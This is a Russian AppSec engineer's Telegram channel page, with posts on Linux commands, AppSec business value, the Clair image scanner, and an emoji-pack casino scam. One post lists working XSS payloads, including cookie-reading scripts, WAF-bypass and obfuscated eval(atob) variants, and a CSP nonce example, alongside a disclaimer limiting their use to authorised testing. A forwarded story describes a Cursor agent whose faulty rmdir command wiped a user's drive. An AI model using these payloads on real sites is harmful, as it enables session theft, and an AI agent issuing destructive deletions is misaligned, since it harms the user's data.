AppSECT.A.
378 subscribers
435 photos
9 videos
129 links
Блог Ильи Шмакова

geminishkv.tech

- AppSec Toolchain
- DevOps
- Процессы DevSecOps
- Infosec Risks
- PMI
- Кулуарный ИБ

AppSec Teamlead СберСпасибо @sberbank

Лидер findevsecops.ru @fintechassociation

Преподаватель @bmstu1830, @miptru
Download Telegram
Добавляю визуальную картинку 🤔
🔥73🤯1
🏆 geminishkv.tech

Салют,
UwU (кайфую от этого 😁), короче я тут прям капитально допилил и зарелизил прям полноценный и очень крутой CPA с ключевыми фишками по стекам, прям стоит обратить внимание на него, а с тобой делюсь сразу первым, покликай - там интересно 🤔

Контент визуалки сразу примапил, доволен, а также имеется английская версия и в том числе контент блога туда же мапится, это оч хорошо

Спасибо за поддержку, обнял-приподнял родной(ая) 🫶 ну и я поделился частью своих интересов, в последующем буду добавлять контент, но это уже совсем другая история


Sic Parvis Magna

Жди обновления контента по тулам, там хорошо идет

ПС: а когда ты зайдешь на сайт, тебя ждет не глитч анимания, а уже намного эффектнее и приятнее canvas стилизация

#specialty #paper #appsec #devsecops
🔥7
🤔 Linux Commands Mindmap

Салюты,
Сегодня хочу поделиться материалом по базовым, но рабочим Linux‑командам для инженеров, которые постоянно копаются в серверах, контейнерах и пайплайнах.

Эту карту собрали из реально нужных команд в бое: от навигации по файловой системе до работы с процессами и сетью. Каждую ветку можно раскрывать и быстро вспоминать синтаксис, не лезя в гугл или ИИ.

Что ты найдешь внутри?

• Базовые операции с файлами и директориями:

— ls  — показать список файлов и каталогов в текущей директории
— cd  — сменить текущую директорию
— cp  — копировать файлы или директории
— mv  — переместить или переименовать файл/директорию
— rm  — удалить файл или директорию (с  -r )
— find  — искать файлы и директории по имени, размеру, времени и т.д.
— grep  — искать строки по шаблону в файлах или выводе других команд


• Управление процессами и ресурсами:

— ps  — показать список процессов (по пользователю, PID и т.п.)
— top  — интерактивный монитор процессов и нагрузки
— htop  — более удобный/ цветной вариант top
— kill  — отправить сигнал процессу (обычно для завершения)
— nice  — запустить процесс с заданным приоритетом
— df  — показать использование дисков (разделов)
— du  — показать, сколько места занимает каталог/ файл


• Работа с сетью:

— ip  — управление сетевыми интерфейсами, адресами и маршрутами
— ss  — показать активные сокеты/ подключения (новее netstat)
— netstat  — старый, но до сих пор встречающийся просмотр соединений и маршрутов
— curl  — отправить HTTP(S)/прочие запросы, скачать или отправить данные
— wget  — скачать файлы по HTTP/ HTTPS/ FTP
— ping  — проверить доступность хоста и задержку
— traceroute  — показать путь пакетов до удалённого хоста по маршрутизаторам


• Права и пользователи:

— chmod  — изменить права доступа к файлу/ директории
— chown  — изменить владельца и/ или группу файла
— sudo  — выполнить команду с повышенными правами (обычно от root)
— useradd  — создать нового пользователя в системе
— groupadd  — создать новую группу


• Логи и диагностика:

— journalctl  — просматривать логи systemd‑журнала (службы, ядро, системные события)
— tail  — показать последние строки файла (часто с  -f  для «подписки» на лог)
— less  — постранично просматривать длинные файлы с прокруткой
— dmesg  — вывести сообщения ядра (полезно для диагностики железа, драйверов)


Как использовать?

• Добавлять свои сниппеты и типовые комбинации команд
• Использовать как onboarding‑материал для новых инженеров и джунов
• Привязать к задачам DevSecOps: чек‑листы для разборов, расследований, хардненинга и т.п.

#appsec #devsecops #specialty #paper #term
🔥4
Салют, проблема вайба, а я орнул

#lol
🤣9
🤣6
Forwarded from эйай ньюз
Как Cursor вайпнул ПК подписчика

Подписчик поделился историей. Ситуация довольно банальная: чел попросил Cursor удалить дубликаты статей в диссертации, а тот сгенерировал команду с ошибкой экранирования кавычек. Моделька использовал обратный слеш, забыв, что в Windows \ это разделитель путей, а не escape-символ. Этот слеш отделился от пути и превратился в указание удалить корень диска C и rmdir /s /q начал сносить всё подряд, включая системные папки. Бекапов не было, но так как файлы при удалении не затирались, большинство удалось восстановить, хоть осадочек и остался.

Мораль довольно простая – не запускайте агентов с полным доступом там, где они могут нанести непоправимый вред. Подойдёт что угодно – Docker, Mac Mini, какой-то Raspberry Pi, виртуалка в облаке, главное чтобы не на основной машине. Злые языки могут даже сказать что не стоит сидеть на винде (по крайней мере без WSL). Ну и бекапы стоить хранить в недоступных для детей агентов месте.

А какой у вас был наибольший косяк агента?

@ai_newz
🔥4
🤔 Зачем AppSec для бизнеса?

Салют,
Снова по больному, когда есть недопонимание зачем вообще ИБешечка и почему мы вообще существуем.
Давай посмотрим, как можно по другому обьяснить и донести такую мысль до ключевого человека о принятии решения.
Вот какой вариант я могу предложить исходя из своего профиля и что обычно внедряю, когда говорю об этом на конференциях или в целом делюсь с тобой.

1. Что это и зачем нужно?

Мы строим систему, при которой каждая поставка кода в прод проверяется на безопасность автоматически. Сейчас у вас код уходит в продакшн без проверки ИБ, или проверка происходит хаотично — раз в квартал, перед аудитом, после инцидента и т.д. Это как пожарная проверка раз в год вместо пожарной сигнализации и вслучае воспламенения возникают риски которые приходится решать в моменте времени.


2. Что конкретно получается?


Автоматический pipeline, который на каждый commit проверяет код статически (SAST), проверяет зависимости (SCA), сканирует контейнеры, ищет секреты в коде. А также ручное DAST-тестирование web-приложений и API. А также процесс управления найденных уязвимостей — не просто «вот вам PDF-отчёт на 200 страниц», а маршрутизация задач в Jira на конкретных разработчиков с приоритетами и сроками.


3. Почему мы вообще это делаем?

Снижение реального риска инцидента, компрометации, утечки и т.д. Стоимость инцидента против стоимости предотвращения — разница в десятки раз.


4. Почему не может кто-то другой?

Самое простое в этом ответе: нет компетенций в данной области, направления и возможностей правильно строить сразу, а не обучаться в процессе и тратить на это неимоверные косты, иначе бы не было вакансий в поиске для данных позиций. (обычно это работает там, где реально строится все с нуля)

Например, купить лицензию на инструмент типа Checkmarx, PT Application Inspector, Solar appScreener и делать самим разработчикам ручками, где инструмент без экспертизы — это как МРТ-аппарат без врача. Именно поэтому нужен человек, который настроит правила под ваш стек, отфильтрует ложные срабатывания (достигают более 70% от общих сработок), приоритизирует по реальному риску для бизнеса, встроит в pipeline и т.д. Просто купить сканер и запустить — получите отчёт на 500 страниц, с которым никто не знает что делать и как это решается, плюс что бы получить отчет придется повозиться с настройкой, даже если будет интеграция и настройка от вендора/ интегратора - это дополнительные косты, которые во много раз дороже обойдутся

Но мы внутри уже знаем инфраструктуру, процессы, контуры, Gitlab, Nexus. Мы не тратим 2 месяца на погружение. Плюс мы не просто сканируем и отдаём отчёт — мы строим процесс, который работает после нашего ухода. Автоматизация остаётся у вас, pipeline остаётся у вас, команда обучается и начинает реально работать с этим руками, а не просто бездумно выполняет очередные требования, которые не заточены под их стек.


5. Что получает в итоге заказчик?

• Полностью развёрнутая и настроенная инфраструктура ИБ-тестирования
• Результаты комплексного анализа защищённости
• Работающий автоматизированный pipeline ИБ в CI/CD с Quality Gate
• Процесс управления уязвимостями через ASOC/ ASPM и Jira
• Управление секретами (Vault)
• Процесс обработки инцидентов ИБ
• Аналитические отчёты с оценкой рисков, триажем и рекомендациями
• Документация: UML pipeline, технический мануал, рекомендации
• Обученная команда — через совместную работу, консультации и отработку ложно позитивных срабатываний уязвимостей
• Готовый фундамент для дальнейшего повышения зрелости DevSecOps


ПС: ну и накидывай сверху от своего кейса, но явно ты, как и я, периодами уже замучался отвечать на такие вопросы и какой то шаблон тебе пригодится

ППС: а скоро тронем еще маркетинг и немного воронки для AppSec, ну да - тут приходится тоже как то с этим работать и как бы только так прокачиваешься 🙃

#devsecops #appsec #paper #reco #pmi #humanres
🔥4❤‍🔥3
🤔 Прокачка в кибербезе

Салюты, сегодня мелкий оффтоп, в стадии плана развития ребяток, пошерстился и наткнулся на вот такую штуку.

Ресурс с интерактивной картой карьерных путей в кибербезе, где разложены роли (SOC-аналитик, инженер по защите, исследователь, AppSec, комплаенс и др.), требования к ним и связи между ними, как думаешь удобненько?

Если хочется в кибербез, но не знаешь как и что нужно, - она поможет без навязывания просто исследовать для себя то, что было бы наиболее приятнее.

Чекни, там видно, какие навыки нужны под конкретную роль и куда из неё логично расти, а также можно использовать и как личный roadmap, и как материал для тимлида/ HR при планировании развития команды (ну если он еще послушает)

#reco #roadmap #appsec #devsecops
🔥8
😄😄😄напомнить себе о том, что ты лучший(ая)
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥5
🛠 Clair для Docker и OCI

Салют,
Давай сегодня поговорим про open-source движок для анализа Docker/ OCI-образов на уязвимости.

Инструмент написан на Golang и разбирает образ послойно, то есть он извлекает список установленных пакетов и сравнивает их с CVE-базами без запуска контейнера. Clair может работать в комбинированном режиме (combo) — все три сервиса в одном процессе, что удобно для тестирования, либо в распределенном режиме для масштабирования в production

Разработан командой Quay под лицензией Apache 2.0. Форматы отчётов: CLI, SARIF, Quay-native JSON. Работает с Ubuntu, Debian, RHEL, Suse, Oracle, Alpine, AWS Linux, VMWare Photon, Python и другими

Функциональность

• Индексация - получает манифест образа, извлекает слои, сканирует их содержимое и формирует промежуточный отчет
• Сопоставляет данные из промежуточного отчета с базой известных уязвимостей и возвращает реальные уязвимости
• При обнаружении новых сработок определяет, какие из ранее проиндексированных образов они затрагивают, и отправляет уведомления согласно настройкам


Фишки

• Анализирует образы статически — контейнер запускать не нужно, всё на уровне манифеста и слоёв
• Поддерживает базы уязвимостей: NVD, Alpine SecDB, RHEL, Ubuntu, Debian, Oracle и другие
• Режим Notifier — при появлении новой CVE для уже проверенного образа отправит вебхук, без повторного сканирования
• SARIF для GitHub Security, GitLab SAST Code Scanning
• JSON для DefectDojo, Jira, Quay Registry
• Масштабируется горизонтально: Indexer / Matcher / Notifier разносятся по отдельным инстансам под нагрузку
• Встроен в Red Hat Quay как основной движок сканирования образов в registry (про Red Hat понятно, но переиспользуемый)


Команды


# Установить clairctl
go install github.com/quay/clair/v4/cmd/clairctl@latest

# Сканировать публичный образ
clairctl report --host http://localhost:6060 ubuntu:focal

# Сканировать с конфигом (если включён PSK-auth)
clairctl report \
--config ./config/clair.yaml \
--host http://localhost:6060 \
nginx:1.25

# Проверка
docker compose up -d
curl http://localhost:6061/healthz

# Проверка API Indexer
curl http://localhost:8080/indexer/api/v1/index_stat

# Пример вывода:
# ubuntu:focal found libpcre3 2:8.39-12build1 CVE-2017-11164
# ubuntu:focal found libc6 2.31-0ubuntu9 CVE-2016-10228
# ubuntu:focal found libgcrypt20 1.8.5-5ubuntu1 CVE-2019-12904


Пример конфига clair.yaml


# config/clair.yaml
http_listen_addr: ":6060"
introspection_addr: ":6061"
log_level: debug

indexer:
connstring: "host=clair-db port=5432 user=clair dbname=clair sslmode=disable"
migrations: true

matcher:
connstring: "host=clair-db port=5432 user=clair dbname=clair sslmode=disable"
migrations: true

notifier:
connstring: "host=clair-db port=5432 user=clair dbname=clair sslmode=disable"
migrations: true
webhook:
target: "https://your-service/clair-webhook"
callback: "http://clair:6060/notifier/api/v1/notifications"


Кеширование CVE для оптимизации


# Отдельный workflow — обновляет базу раз в сутки
name: Update Clair DB
on:
schedule:
- cron: '0 5 * * *'

jobs:
update-db:
runs-on: ubuntu-latest
steps:
- name: Generate vulnerability DB
uses: quay/clair-action@main
with:
db-file: matcher.db
mode: update

- name: Cache DB
uses: actions/cache@v3
with:
path: matcher.db
key: clair-matcher-db

# В основном CI используем закэшированную базу:
# - name: Grab cached DB
# uses: actions/cache@v3
# with:
# path: matcher.db
# key: clair-matcher-db


Итого

Clair заходит, если уже есть Quay или нужен движок, который можно встроить в registry и CI одновременно, а именно - сканирует при push, держит базу актуальной и алертит при новых CVE без повторных прогонов.

Если хочется потыкать в связке с другими инструментами — смотри в сторону связки Clair + DefectDojo + SecScore для полноценного Security Gate.


#toolchain #containersecurity #appsec
🔥4
С праздником родной(ая)!

Христос Воскресе
❤‍🔥66
🛠 XSSNow

Салюты,
Давай посмотрим на XSSNow, что позволит тебе немного автоматизировать себя и упростить жизнь вокруг себя

Это генератор контекстных XSS-payloads и использует уже составленную базу, сам ресурс заточен под реальные сценарии эксплуатации. В отличие от простых XSS-листов, здесь payloads разбиты по типу инъекции, контексту и применимости к конкретным защитам. Заметь, что это именно community-driven, который открыт для добавления нагрузок. Generator | GitHub


Функционально

• Коллекция из сотен payload по типам атак: DOM‑based, reflected, stored, CSP‑bypass, WAF‑bypass
• Генератор строит нагрузки под конкретный контекст инъекции — HTML-тег, атрибут, inline-JS, URL-параметр, event-handler, JSON
• Поддержка кодировок и трансформаций для обхода фильтров: URL-encoding, HTML-entities, обфускация
• Встроенные техники обхода WAF и CSP, где payloads обновляются под живые движки и реальные защиты

Примеры


<!-- HTML-тег, нет WAF -->
<script>alert(document.cookie)</script>

<!-- Атрибут value, двойные кавычки закрыты -->
"onmouseover="alert(1)

<!— href-атрибут -->
javascript:alert(document.domain)

<!-- inline-JS, строка в одинарных кавычках -->
';alert(document.cookie)//

<!-- WAF блокирует <script> и alert() -->
<img src=x onerror=confirm`1`>
<svg/onload=eval(atob('YWxlcnQoMSk='))>
<details open ontoggle=alert(1)>

<!-- CSP блокирует inline-скрипты, но разрешает nonce -->
<script nonce="УГАДАННЫЙ_NONCE">alert(1)</script>

<!-- DOM-based, где параметр попадает в innerHTML -->
#<img src=1 onerror=alert(1)>


Итого: поможет тебе прокачаться в offensivesec — упрощение подбора рабочего payload под контекст, а также проверка своих фильтров — прогнать набор bypass-нагрузок и найти паттерны, которые всё ещё проходят. По сути это также качает наглядно и ты понимаешь, почему universal <script>alert(1) не работает в большинстве prod-кейсов, да и почему контекст решает всё

Только в рамках исследовательских целей и использования на основании тестов и обучения на своих стендах, лабораторных работ, а также с письменным разрешением (bug bounty scope, договор)


#toolchain #appsec #reco #techsolution #dast #paper
🔥4
Ой ай, ну чтож, было и было
Forwarded from Positive Technologies
Что это был за 😄😄😄 и как он стал рекламой онлайн-казино

В пятницу тысячи (не преувеличиваем) каналов поделились сообщением, которое начиналось с красной надписи черновик: — а точнее, с трех эмодзи, которые ее и составляли. После нее каналы, в том числе крупных и известных брендов, соревновались в юморе: кто интереснее подаст свой черновик. Мы — в том числе.

На первый взгляд — безобидный флешмоб. На деле — тысячи каналов бесплатно прорекламировали онлайн-казино, сами того не подозревая. Рассказываем, как это получилось.

1️⃣ Когда вы создаете пак эмодзи в Telegram, его можно назвать как угодно. Предположим, «Котики». Вы добавляете туда прикольные картинки с котятами, делитесь с друзьями, потом это подхватывают каналы — и вот ваши котики везде.

Но у владельца эмодзи-пака есть возможность переименовать его в любой момент. То есть, например, когда он уже установлен у тысяч пользователей и им продолжают делиться, название может внезапно измениться на «Котики — не очень, песики — огонь». При этом короткое имя (ссылка на добавление пака) остается тем же.

2️⃣ В пятницу так и произошло. Пак из трех эмодзи изначально назывался просто «ЧЕРНОВИК», его начали активно распространять по каналам — копировать и вставлять, не подозревая о планируемом скаме.

Спустя время он был переименован в «ЧЕРНОВИК [упоминание канала] (ПОДПИШИСЬ)». Упоминаемый канал принадлежит некому «социальному казино» (как они сами себя называют), которое якобы бесплатно раздает деньги, но на самом деле через различные шаги уводит на платформу стандартного онлайн-казино. За несколько дней этот канал собрал несколько тысяч подписчиков. Всего за счет трех эмодзи.

3️⃣ Некоторые каналы (и мы, спасибо читателям) обратили на это внимание и заменили паки на собственные. Наш мы так и назвали — «безопасный» (кстати, его установили себе около 20 пользователей, а сколько установили оригинальный — загадка). Другие каналы, узнав об этом, удалили публикации или эмодзи в них.

4️⃣ Чего не произошло, а могло бы. Помимо того, что у паков можно обновлять названия — в них можно менять и сами эмодзи, а также добавлять новые. На примере котиков из начала объяснения — заменить их всех на песиков 🐈 —> 🐕 (сильно не переживайте, в уже размещенных эмодзи котики останутся, изменения будут только в новых публикациях). А дальше у кого на что хватит фантазии — вплоть до размещения фишингового QR-кода, состоящего из эмодзи.

💡 Такие механики — наглядный пример того, как даже без взлома можно использовать доверие аудитории в своих целях. Поэтому перед публикацией любого хайпового контента стоит оценивать риски, даже если на первый взгляд все выглядит безобидно (для себя тоже выводы сделали).

@Positive_Technologies
Please open Telegram to view this post
VIEW IN TELEGRAM
🤣4😐1